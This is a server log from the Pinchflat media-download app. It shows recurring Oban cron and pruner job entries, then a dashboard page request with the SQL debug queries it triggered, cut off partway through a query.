{"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:00.084 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:05:06.802 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:05:36.804 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:00.085 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:06:06.806 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:06:36.808 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:00.086 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:07:06.810 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:07:36.812 [info] {"source":"oban","duration":1034,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:00.087 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:08:06.814 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:08:36.816 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:00.088 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:09:06.818 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:09:36.820 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:00.089 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:10:06.822 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:10:36.824 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:00.090 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:11:06.826 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:11:36.828 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:00.093 [info] {"source":"oban","duration":1633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:12:06.830 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:12:36.832 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:00.094 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:13:06.834 [info] {"source":"oban","duration":1320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:13:36.836 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:00.095 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:14:06.838 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:36.840 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.096 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:06.842 [info] {"source":"oban","duration":1144,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:36.844 [info] {"source":"oban","duration":1104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:00.097 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:16:06.846 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:16:36.848 [info] {"source":"oban","duration":973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:00.098 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:17:06.850 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:17:36.852 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:00.099 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:18:06.854 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:18:36.856 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:00.100 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:19:06.858 [info] {"source":"oban","duration":1399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:19:36.860 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:00.101 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:20:06.862 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:20:36.864 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:00.102 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:21:06.866 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:21:36.868 [info] {"source":"oban","duration":1382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:00.103 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:22:06.870 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:22:36.872 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:00.104 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:23:06.875 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:23:36.877 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:00.105 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:24:06.879 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:24:36.881 [info] {"source":"oban","duration":1143,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:00.106 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:25:06.883 [info] {"source":"oban","duration":1398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:25:36.885 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:00.107 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:26:06.887 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:26:36.889 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:00.108 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:27:06.891 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:27:36.893 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:00.109 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:28:06.895 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:28:36.897 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:00.110 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:29:06.899 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:29:36.901 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:00.111 [info] {"source":"oban","duration":332,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:30:06.903 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:30:36.905 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:00.112 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:31:06.907 [info] {"source":"oban","duration":1181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:31:36.909 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:00.113 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:32:06.911 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:32:36.913 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:00.114 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:33:06.915 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:33:36.917 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:00.115 [info] {"source":"oban","duration":450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:34:06.919 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:34:36.921 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:00.116 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:35:06.923 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:35:36.925 [info] {"source":"oban","duration":1364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:00.117 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:36:06.927 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:36:36.929 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:00.118 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:37:06.931 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:37:36.933 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:00.119 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:38:06.935 [info] {"source":"oban","duration":1720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:38:36.938 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:00.120 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:39:06.940 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:39:36.942 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:00.121 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:40:06.944 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:40:36.946 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:00.122 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:41:06.948 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:41:36.950 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:00.123 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:42:06.952 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:42:36.954 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:00.126 [info] {"source":"oban","duration":1410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:43:06.956 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:43:36.958 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:00.127 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:44:06.960 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:44:36.962 [info] {"source":"oban","duration":1719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:00.128 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:45:06.965 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:45:36.967 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:00.129 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:46:06.969 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:46:36.971 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:00.130 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:47:06.973 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:47:36.975 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:00.131 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:48:06.977 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:48:36.979 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:00.132 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:49:06.981 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:49:36.983 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:00.133 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:50:06.985 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:50:36.987 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:00.134 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:51:06.989 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:51:36.991 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:00.135 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:52:06.993 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:52:36.995 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:00.136 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:53:06.997 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:53:36.999 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:00.137 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:54:07.001 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:54:37.003 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:00.138 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:55:07.005 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:55:37.007 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:00.139 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:56:07.009 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:56:37.011 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:00.140 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:57:07.013 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:57:37.015 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:00.141 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:58:07.017 [info] {"source":"oban","duration":1139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:58:37.019 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:00.142 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:59:07.021 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:37.023 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.143 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:07.025 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:37.027 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.144 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:07.029 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:33.439 [info] GET / 01:01:33.439 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 01:01:33.440 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=756.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:33.441 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=757.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 01:01:33.441 [debug] QUERY OK source="sources" db=0.1ms idle=758.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 01:01:33.445 [debug] QUERY OK source="media_items" db=2.9ms idle=758.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:01:33.446 [debug] QUERY OK source="media_items" db=0.7ms idle=236.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:01:33.447 [debug] QUERY OK source="settings" db=0.3ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:33.447 [debug] QUERY OK source="settings" db=0.2ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:33.448 [debug] QUERY OK source="settings" db=0.3ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:33.451 [debug] QUERY OK source="tasks" db=0.4ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 01:01:33.452 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 01:01:33.453 [debug] QUERY OK source="media_items" db=0.9ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:01:33.455 [debug] QUERY OK source="sources" db=0.4ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 01:01:33.463 [debug] QUERY OK source="media_items" db=3.7ms idle=10.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 01:01:33.465 [debug] QUERY OK source="media_items" db=1.4ms idle=12.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 01:01:33.466 [debug] QUERY OK source="sources" db=0.3ms idle=13.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 